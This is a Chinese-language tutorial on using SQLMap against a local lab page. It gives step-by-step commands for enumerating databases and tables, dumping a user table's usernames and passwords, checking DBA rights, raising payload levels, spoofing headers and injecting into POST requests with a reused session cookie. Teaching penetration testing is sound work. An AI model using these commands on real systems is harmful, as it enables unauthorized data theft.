SQLMap漏扫工具
一、SQLMap拖库:
SQLMap可以完成注入点的发现,数据库类型的确认,WebShell权限和路径的确认,拖库等一系列功能。测试的Payload共分为5级:Level 1 ~ Level 5,Level 1属于基础级,Payload相对较少,Level 5 Payload很多。
1.查看所有的数据库
sqlmap -u "http://127.0.0.1/security/read.php?id=1" --dbs
2.查看当前使用的数据库
sqlmap -u "http://127.0.0.1/security/read.php?id=1" --current--db
3.发现使用的是learn数据库,接下来对此数据库进行查询
sqlmap -u "http://127.0.0.1/security/read.php?id=1" --tables -D "learn"
4.查出所有表以后,对user表的列名进行查询
sqlmap -u "http://127.0.0.1/security/read.php?id=1" --columns -T "user" -D "learn"
5.users表中的列名已经知道了,可以直接查出所有数据
sqlmap -u "http://127.0.0.1/security/read.php?id=1" --dump -C "userid,username,password" -T "user" -D "learn"
完成拖库操作后,可以在输出中查看到表数据,也可以直接根据提示信息进入相应文件查看内容
6.直接指定数据库类型,节省检测时间
sqlmap -u "http://127.0.0.1/security/read.php?id=1" --dbs --dbms=mysql
7.判断是否是DBA
sqlmap -u "http://127.0.0.1/security/read.php?id=1" -dbms=mysql --is-dba
8.指定Payload级别
--level=5: 探测等级,1-5,默认为1,等级越高,payload越多,速度越慢。HTTP cookei在level为2时就会测试,HTTP User-Agent/Referer在level为3时就会测试。
9.自定义Referer和User-Agent
--random-agent 将从/usr/share/sqlmap/data/txt/user-agents.txt文件中随机读取一条User-Agent --user-agent=Qiang/Scanner 任意自定义user-agent --referer=https://www.woniuxy.com/test/1 自行指定referer
二、POST和Cookie
1、如果某个注入点需要先登录,那么可以手工登录后,使用相同的Cookie进行处理
sqlmap -u "127.0.0.1/security/read.php?id=1" --cookie="PHPSESSID=spcldevefisb5k761oqahirsl4" --dbs
2、如果注入点不是GET请求,而是POST请求,则要添加POST正文
(1)先将POST请求在Burp中进行捕获,将请求内容保存到文件中。
(2)通常的POST请求正文内容如下:
POST /security/read.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=spcldevefisb5k761oqahirsl4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
id=1
(3)运行SQLMap时,再通过-r参数指定文件,同时通过-p参数明确指定参数名(上述请求的参数为id),实现注入。
sqlmap -r ./sql-post.txt -p id --cookie="" --dbs